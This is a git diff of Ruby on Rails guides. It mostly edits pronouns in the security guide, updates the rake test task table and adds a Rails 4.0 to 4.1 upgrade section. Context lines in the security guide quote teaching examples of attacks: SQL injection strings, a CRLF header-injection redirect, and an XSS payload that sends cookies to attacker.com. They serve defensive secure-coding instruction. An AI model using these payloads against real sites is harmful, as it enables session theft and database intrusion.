plug-in with the same name as the API. You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. -The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot. Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. @@ -528,7 +530,7 @@ The most common parameter that a user might tamper with, is the id parameter, as @project = Project.find(params[:id]) ``` -This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_: +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: ```ruby @project = @current_user.projects.find(params[:id]) @@ -571,7 +573,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.where("name = '#{params[:name]}'") ``` -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: ```sql SELECT * FROM projects WHERE name = '' OR 1 --' @@ -581,7 +583,7 @@ The two dashes start a comment ignoring everything after it. So the query return #### Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. ```ruby User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -679,7 +681,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> ``` -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. ```html <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -888,7 +890,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ #### Response Splitting diff --git a/guides/source/testing.md b/guides/source/testing.md index 2fd0ed209d..d00fcd1f03 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -794,18 +794,23 @@ end Rake Tasks for Running your Tests --------------------------------- -You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project. +You don't need to set up and run your tests by hand on a test-by-test basis. +Rails comes with a number of commands to help in testing. +The table below lists all commands that come along in the default Rakefile +when you initiate a Rails project. | Tasks | Description | | ----------------------- | ----------- | -| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default| -| `rake test:controllers` | Runs all the controller tests from `test/controllers`| -| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`| -| `rake test:helpers` | Runs all the helper tests from `test/helpers`| -| `rake test:integration` | Runs all the integration tests from `test/integration`| -| `rake test:mailers` | Runs all the mailer tests from `test/mailers`| -| `rake test:models` | Runs all the model tests from `test/models`| -| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`| +| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default | +| `rake test:controllers` | Runs all the controller tests from `test/controllers` | +| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | +| `rake test:helpers` | Runs all the helper tests from `test/helpers` | +| `rake test:integration` | Runs all the integration tests from `test/integration` | +| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | +| `rake test:models` | Runs all the model tests from `test/models` | +| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | +| `rake test:all` | Runs all tests quickly by merging all types and not resetting db | +| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db | Brief Note About `MiniTest` diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md index 004d6bd466..2f0f3573fb 100644 --- a/guides/source/upgrading_ruby_on_rails.md +++ b/guides/source/upgrading_ruby_on_rails.md @@ -22,6 +22,233 @@ Rails generally stays close to the latest released Ruby version when it's releas TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing. +Upgrading from Rails 4.0 to Rails 4.1 +------------------------------------- + +NOTE: This section is a work in progress. + +### CSRF protection from remote `<script>` tags + +Or, "whaaat my tests are failing!!!?" + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means that your functional and integration tests that use + +```ruby +get :index, format: :js +``` + +will now trigger CSRF protection. Switch to + +```ruby +xhr :get, :index, format: :js +``` + +to explicitly test an XmlHttpRequest. + +If you really mean to load JavaScript from remote `<script>` tags, skip CSRF +protection on that action. + +### Spring + +If you want to use Spring as your application preloader you need to: + +1. Add `gem 'spring', group: :development` to your `Gemfile`. +2. Install spring using `bundle install`. +3. Springify your binstubs with `bundle exec spring binstub --all`. + +NOTE: User defined rake tasks will run in the `development` environment by +default. If you want them to run in other environments consult the +[Spring README](https://github.com/jonleighton/spring#rake). + +### `config/secrets.yml` + +If you want to use the new `secrets.yml` convention to store your application's +secrets, you need to: + +1. Create a `secrets.yml` file in your `config` folder with the following content: + + ```yaml + development: + secret_key_base: + + test: + secret_key_base: + + production: + secret_key_base: + ``` + +2. Copy the existing `secret_key_base` from the `secret_token.rb` initializer to + `secrets.yml` under the `production` section. + +3. Remove the `secret_token.rb` initializer. + +4. Use `rake secret` to generate new keys for the `development` and `test` sections. + +5. Restart your server. + +### Changes in JSON handling + +There are a few major changes related to JSON handling in Rails 4.1. + +#### MultiJSON removal + +MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576) +and has been removed from Rails. + +If your application currently depend on MultiJSON directly, you have a few options: + +1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future + +2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead. + +WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with +`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and +deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load). + +#### JSON gem compatibility + +Historically, Rails had some compatibility issues with the JSON gem. Using +`JSON.generate` and `JSON.dump` inside a Rails application could produce +unexpected errors. + +Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The +JSON gem APIs will function as normal, but they will not have access to any +Rails-specific features. For example: + +```ruby +class FooBar + def as_json(options = nil) + { foo: "bar" } + end +end + +>> FooBar.new.to_json # => "{\"foo\":\"bar\"}" +>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\"" +``` + +#### New JSON encoder + +The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON +gem. For most applications, this should be a transparent change. However, as +part of the rewrite, the following features have been removed from the encoder: + +1. Circular data structure detection +2. Support for the `encode_json` hook +3. Option to encode `BigDecimal` objects as numbers instead of strings + +If you application depends on one of these features, you can get them back by +adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder) +gem to your Gemfile. + +### Usage of `return` within inline callback blocks + +Previously, Rails allowed inline callback blocks to use `return` this way: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { return false } # BAD +end +``` + +This behaviour was never intentionally supported. Due to a change in the internals +of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a +`return` statement in an inline callback block causes a `LocalJumpError` to +be raised when the callback is executed. + +Inline callback blocks using `return` can be refactored to evaluate to the +returned value: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save { false } # GOOD +end +``` + +Alternatively, if `return` is preferred it is recommended to explicitly define +a method: + +```ruby +class ReadOnlyModel < ActiveRecord::Base + before_save :before_save_callback # GOOD + + private + def before_save_callback + return false + end +end +``` + +This change applies to most places in Rails where callbacks are used, including +Active Record and Active Model callbacks, as well as filters in Action +Controller (e.g. `before_action`). + +See [this pull request](https://github.com/rails/rails/pull/13271) for more +details. + +### Methods defined in Active Record fixtures + +Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods +defined in a fixture will not be available in other fixtures. + +Helper methods that are used in multiple fixtures should be defined on modules +included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in +`test_helper.rb`. + +```ruby +class FixtureFileHelpers + def file_sha(path) + Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path))) + end +end +ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers +``` + +### I18n enforcing available locales + +Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`, +meaning that it will make sure that all locales passed to it must be declared in +the `available_locales` list. + +To disable it (and allow I18n to accept *any* locale option) add the following +configuration to your application: + +```ruby +config.i18n.enforce_available_locales = false +``` + +Note that this option was added as a security measure, to ensure user input could +not be used as locale information unless previously known, so it's recommended not +to disable this option unless you have a strong reason for doing so. + +### Mutator methods called on Relation + +`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert +to an `Array` by calling `#to_a` before using these methods. + +It intends to prevent odd bugs and confusion in code that call mutator +methods directly on the `Relation`. + +```ruby +# Instead of this +Author.where(name: 'Hank Moody').compact! + +# Now you have to do this +authors = Author.where(name: 'Hank Moody').to_a +authors.compact! +``` + +Upgrading from Rails 3.2 to Rails 4.0 +------------------------------------- + +If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. + +The following changes are meant for upgrading your application to Rails 4.0. + ### HTTP PATCH Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful @@ -120,15 +347,6 @@ Ruby libraries yet. Aaron Patterson's [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have full support for the last few changes in the specification. -Upgrading from Rails 3.2 to Rails 4.0 -------------------------------------- - -NOTE: This section is a work in progress. - -If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0. - -The following changes are meant for upgrading your application to Rails 4.0. - ### Gemfile Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that @@ -346,7 +564,7 @@ Upgrading from Rails 3.1 to Rails 3.2 If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2. -The following changes are meant for upgrading your application to Rails 3.2.15, +The following changes are meant for upgrading your application to Rails 3.2.16, the last 3.2.x version of Rails. ### Gemfile @@ -354,7 +572,7 @@ the last 3.2.x version of Rails. Make the following changes to your `Gemfile`. ```ruby -gem 'rails', '3.2.15' +gem 'rails', '3.2.16' group :assets do gem 'sass-rails', '~> 3.2.6' diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md index 301e0e7e6c..3c04204c29 100644 --- a/guides/source/working_with_javascript_in_rails.md +++ b/guides/source/working_with_javascript_in_rails.md @@ -169,7 +169,7 @@ This will generate the following HTML: </form> ``` -Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather +Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather than by the browser's normal submit mechanism. You probably don't want to just sit there with a filled out `<form>`, though. @@ -194,7 +194,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like this: ```erb -<%= form_tag('/posts', remote: true) %> +<%= form_tag('/posts', remote: true) do %> + ... +<% end %> +``` + +This will generate the following HTML: + +```html +<form accept-charset="UTF-8" action="/posts" data-remote="true" method="post"> + ... +</form> ``` Everything else is the same as `form_for`. See its documentation for full @@ -299,10 +309,10 @@ The `app/views/users/_user.html.erb` partial contains the following: The top portion of the index page displays the users. The bottom portion provides a form to create a new user. -The bottom form will call the create action on the Users controller. Because +The bottom form will call the `create` action on the `UsersController`. Because the form's remote option is set to true, the request will be posted to the -users controller as an Ajax request, looking for JavaScript. In order to -service that request, the create action of your controller would look like +`UsersController` as an Ajax request, looking for JavaScript. In order to +serve that request, the `create` action of your controller would look like this: ```ruby |